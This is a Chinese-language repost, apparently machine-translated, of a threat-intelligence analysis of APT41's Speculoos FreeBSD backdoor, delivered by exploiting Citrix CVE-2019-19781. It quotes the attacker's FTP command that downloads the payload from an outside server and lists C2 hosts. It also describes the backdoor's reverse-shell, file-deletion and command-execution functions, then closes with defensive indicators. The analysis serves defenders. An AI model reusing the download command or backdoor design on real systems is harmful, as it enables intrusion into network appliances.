执行摘要
2020年3月25日,FireEye发表了一个研究博客,内容涉及由间谍活动为动机的对手团体APT41开展的一次全球攻击活动。据认为,此攻击活动是在1月20日至3月11日期间进行的,专门通过利用最近披露的漏洞来针对Citrix,Cisco和Zoho网络设备。基于Unit 42可用的WildFire和AutoFocus数据,我们能够获得针对Citrix设备的有效负载样本,这些样本是编译为可在FreeBSD上运行的可执行文件。我们还使用此数据来确定北美,南美和欧洲等世界各地的医疗,高等教育,制造业,政府和技术服务等行业的多个受害者。
该博客将特定于我们命名为Speculoos的基于FreeBSD的有效负载。我们从数据集中识别出总共五个样本,所有样本的文件大小大致相同,但样本集之间存在微小差异。细微的差异表明它们可能源自同一开发人员,并且已重新编译或打了补丁。如FireEye所述,Speculoos是通过利用CVE-2019-19781来交付的,CVE-2019-19781是一个影响Citrix Application Delivery Controller,Citrix Gateway和Citrix SD-WAN WANOP设备的漏洞,允许攻击者远程执行任意命令。此漏洞于2019年12月17日首次通过安全公告CTX267679公开。其中包含一些缓解建议。到2020年1月24日,已发布受影响设备的永久补丁。根据行业和地区的分布情况,除了漏洞披露的时间外,我们认为,与经常与这类攻击者相关联的针对性强的攻击活动相比,该攻击活动本质上可能更具机会性。但是,考虑到利用此漏洞并结合专门设计用于在相关的FreeBSD操作系统上执行的后门,表明对手绝对是针对受影响的设备。
攻击细节
在此攻击活动中,攻击者利用CVE-2019-19781指导受害设备使用命令/ usr / bin / ftp -o / tmp / bsd ftp:// test:[redacted] \ @ 66.42通过FTP检索Speculoos。 .98 [。] 220 / <filename>由FireEye报告。我们的数据与此活动一致,第一波始于2020年1月31日UTC晚上到2020年2月1日UTC,使用文件名bsd。这波浪潮影响了美国的多个高等教育机构,美国的医疗机构和爱尔兰的咨询公司。第二波始于UTC的2020年2月24日上午UTC到2020年2月24日,这次使用文件名un。这波热潮影响了哥伦比亚的一个高等教育机构,奥地利的一个制造组织,美国第一波浪潮中针对的一个高等教育机构以及美国的州政府。尽管数据部门42可以访问的数据并不详尽,但检查我们确实有数据的受害人的传播似乎表明,这次攻击活动可能更多是APT41的机会主义推动,目的是在数量最少的组织中立足点努力扩展其攻击基础架构。
专门在FreeBSD上运行的工具的部署是相当新颖的。针对基于BSD的系统的恶意软件相对很少见,考虑到结合使用此工具和影响特定Citrix网络设备的漏洞,Speculoos很可能是APT41专为此攻击活动而设计的。
二元分析
Speculoos后门是使用GCC 4.2.1编译的ELF可执行文件,可在FreeBSD系统上运行。该有效负载本来就似乎无法保持持久性,因此很可能需要对手使用单独的组件或其他步骤来保持其立足点。执行后,有效负载将进入一个循环,该循环调用一个函数,以通过TCP / 443与以下命令和控制(C2)域进行通信:
alibaba.zzux [。] com(解析为119.28.139 [。] 120)
如果无法与上述域通信,则Speculoos将尝试也通过TCP / 443 使用119.28.139 [。] 20上的备份C2 。如果能够连接到任一C2服务器,它将使用二进制文件中的硬编码缓冲区(用作握手中的第一个数据包)与服务器进行TLS握手。图1显示了发送到C2服务器的硬编码缓冲区。
1234567891011121314151617181920212223 |
16 03 01 00 B5 01 00 00 B1 03 01 00 00 00 00 00 ................ 00 00 00 00 00 6A CE 14 27 3F 24 92 AB 0A A3 F7 .....j..'?$..... DB 21 1C D6 7F FD E3 A3 50 00 00 00 00 48 C0 0A .............H.. C0 14 00 88 00 87 00 39 00 38 C0 0F C0 05 00 84 .......9.8...... 00 35 C0 07 C0 09 C0 11 C0 13 00 45 00 44 00 66 .5.........E.D.f 00 33 00 32 C0 0C C0 0E C0 02 C0 04 00 96 00 41 .3.2...........A 00 04 00 05 00 2F C0 08 C0 12 00 16 00 13 C0 0D ...../.......... C0 03 FE FF 00 0A 02 01 00 00 3F 00 00 00 13 00 ..........?..... 11 00 00 0E 6C 6F 67 69 6E 2E 6C 69 76 65 2E 63 ....login.live.c 6F 6D FF 01 00 01 00 00 0A 00 08 00 06 00 17 00 om.............. 18 00 19 00 0B 00 02 01 00 00 23 00 00 33 74 00 ..........#..3t. 00 00 05 00 05 01 00 00 00 00 00 00 00 00 00 00 ................ |
图1.用作发送到C2服务器的TLS客户端Hello数据包的硬编码缓冲区
图1.表明这是TLS 1.0的握手数据包,特别是客户端Hello。此Client Hello数据包最有趣的部分是,它请求login.live [。] com作为服务器名称指示(SNI),这表明作者可以尝试使握手看起来无害,如图1所示。
图2. TLS握手中的客户端Hello数据包使用login.live.com作为服务器名称指示
成功连接到C2并完成TLS握手后,Speculoos将执行初始系统枚举以对受害系统进行指纹识别,然后将数据发送回C2服务器。用于存储信息的缓冲区将为1048字节,其结构如下表1所示。
偏移量 |
描述 |
笔记 |
0 |
识别码 |
硬编码字符串“ freebsd” |
64 |
未知 |
硬编码“ 5” |
68 |
用户名 |
使用“ getuid”获取进程用户,然后使用“ getpwuid.pw_name”获取名称 |
132 |
MAC地址 |
使用if_nameindex遍历接口 |
152 |
作业系统版本 |
'uname-v'的结果 |
216 |
主机名 |
'uname-s'或'hostname'的结果 |
280 |
磁盘空间 |
枚举文件系统“ /”和“ / private / var” |
904 |
物理内存 |
系统硬件 |
908 |
用户记忆 |
Sysctl hw.usermem |
912 |
CPU数量 |
系统软件 |
916 |
CPU速度 |
Sysctl machdep.tsc_freq / 1000000 |
920 |
CPU型号 |
系统硬件模型 |
表1.用于将收集的系统信息传输到C2的结构
数据是通过TLS通道发送的,并且Speculoos会期望收到两个字节的数据。成功响应后,它将向C2 发送一个字节(0xa),并进入循环以开始接收命令。然后,表2中的命令可供对手使用,以在受害系统上执行。Speculoos可用的命令表明此工具是功能齐全的后门,可让攻击者完全控制受害者系统。
命令 |
子指令 |
描述 |
0x1E |
|
创建与外壳相关的子命令处理程序 |
|
w(0x77) |
通过派生“ / bin / sh”进程来创建远程外壳,并将标准输入,输出和错误重定向到TLS套接字 |
f(0x66) |
|
创建磁盘相关的子命令处理程序 |
|
f(0x66) |
删除文件(取消链接功能) |
|
k(0x6B) |
删除目录(rm -rf“ <路径>”) |
|
e(0x65) |
运行指定的文件(execv) |
g(0x67) |
|
下载文件 |
我(0x69) |
|
上传文件 |
0x14 |
|
枚举进程(名称,PID,PPID,线程) |
0x15 |
|
杀死过程 |
0x1 |
|
列出文件夹内容 |
!(0x21) |
|
使用“ sh -c”执行命令 |
表2. Speculoos的命令处理程序中的命令
我们分析的两个Speculoos样本在功能上相同,两者之间只有八个字节不同。这八个字节的更改是由于作者在收集系统信息时用主机名命令替换了uname -s命令而导致的。目前尚不清楚为什么命令可能会被更改,因为它们返回不同的结果。uname -s将返回内核信息,在FreeBSD系统上将是字符串FreeBSD,而主机名将返回打印主机系统的名称。图2显示了我们分析的两个Speculoos样本之间的二进制比较,显示了八个字节的差异。
图3.两个Speculoos示例之间的二进制比较,显示了用于收集系统主机名的不同命令
影响评估
允许未经授权的用户远程执行代码的漏洞几乎总是潜在的高影响安全问题,尤其是当它们影响面向公众的系统时,尤其如此。在这种情况下,CVE-2019-19781影响了多个可能面向公众的设备,并有一个积极进取的对手积极利用此漏洞来安装自定义后门程序。考虑到受影响的设备的类型,任何可能受影响的组织都必须立即采取缓解措施,这一点至关重要。因为所有或大量的网络活动都必须遍历这些受到破坏的网络设备,所以攻击者可以更轻松地监视或修改整个组织的网络活动,而不必将它们降级为单个或少数设备。
另外,由于默认情况下这些设备可以访问大量的组织系统,因此横向移动所面临的挑战将大大减少。攻击者可能试图直接穿越必须穿越受感染设备的其他主机,或者甚至能够修改网络流量以执行其他恶意操作,例如注入/传递恶意代码,执行中间人攻击,或将用户重定向到对手拥有的登录页面以收集凭据。最后,由于设备的性质,检测这些攻击可能更具挑战性,因为通常它们是黑匣子类型的解决方案,除非出现问题,否则它们通常不与异常活动进行交互或检查异常活动。
Palo Alto Networks客户可能受到以下方面的保护:
- 部署威胁ID 57625、57570和57497
- WildFire正确地将Speculoos归类为恶意
- C2域在DNS安全中已被归类为恶意
Analyzed Speculoos SHA256
99c5dbeb545af3ef1f0f9643449015988c4e02bf8a7164b5d6c86f67e6dc2d28
6943fbb194317d344ca9911b7abb11b684d3dca4c29adcbcff39291822902167
Additional Speculoos SHA256
493574e9b1cc618b1a967ba9dabec474bb239777a3d81c11e49e7bb9c71c0c4e
85297097f6dbe8a52974a43016425d4adaa61f3bdb5fcdd186bfda2255d56b3d
c2a88cc3418b488d212b36172b089b0d329fa6e4a094583b757fdd3c5398efe1
Network Indicators
119.28.139[.]20
alibaba.zzux[.]com
119.28.139[.]120
66.42.98[.]220
未经允许不得转载:x-sec » APT41使用新的Speculoos后门程序在全球范围内进行攻击